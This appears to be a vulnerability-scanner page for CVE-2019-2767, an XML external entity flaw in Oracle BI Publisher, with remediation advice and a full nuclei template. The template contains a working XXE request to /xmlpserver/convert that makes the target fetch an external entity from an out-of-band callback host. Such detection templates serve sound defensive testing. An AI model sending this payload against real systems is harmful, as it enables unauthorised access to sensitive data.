Oracle Business Intelligence Publisher - XML External Entity Injection

highseverity

7.2CVSS score

5.2%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

Oracle Business Intelligence Publisher is vulnerable to an XML external entity injection attack. The supported versions affected are 11.1.1.9.0, 12.2.1.3.0 and 12.2.1.4.0. This easily exploitable vulnerability allows unauthenticated attackers with network access via HTTP to compromise BI Publisher.

Impact

An attacker can exploit this vulnerability to gain unauthorized access to sensitive information or disrupt the availability of the system.

Fix

Apply the latest security patches provided by Oracle to fix this vulnerability.

How to confirm it

Send: GET /xmlpserver/convert?xml=<%3fxml+version%3d"1.0"+%3f><!DOCTYPE+r+[<!ELEMENT+r+ANY+><!ENTITY+%25+sp+SYSTEM+"http%3a//{{interactsh-url}}/xxe.xml">%25sp%3b%25p…
Positive when: contains in interactsh_protocol "http"

Run it with nuclei: nuclei -id CVE-2019-2767 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-2767

info:
  name: Oracle Business Intelligence Publisher - XML External Entity Injection
  author: madrobot
  severity: high
  description: Oracle Business Intelligence Publisher is vulnerable to an XML external entity injection attack. The supported versions affected are 11.1.1.9.0, 12.2.1.3.0 and 12.2.1.4.0. This easily exploitable vulnerability allows unauthenticated attackers with network access via HTTP to compromise BI Publisher.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive information or disrupt the availability of the system.
  remediation: |
    Apply the latest security patches provided by Oracle to fix this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/46729
    - http://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-2767
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/vah13/Oracle-BI-bugs
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2019-2767
    epss-score: 0.05238
    epss-percentile: 0.92593
    cpe: cpe:2.3:a:oracle:bi_publisher:11.1.1.9.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: oracle
    product: bi_publisher
  tags: cve,cve2019,edb,oracle,xxe,oast,vkev,vuln

http:
  - raw:
      - |
        GET /xmlpserver/convert?xml=<%3fxml+version%3d"1.0"+%3f><!DOCTYPE+r+[<!ELEMENT+r+ANY+><!ENTITY+%25+sp+SYSTEM+"http%3a//{{interactsh-url}}/xxe.xml">%25sp%3b%25param1%3b]>&_xf=Excel&_xl=123&template=123 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

References

Use this check only on systems you are authorised to test. Where the data comes from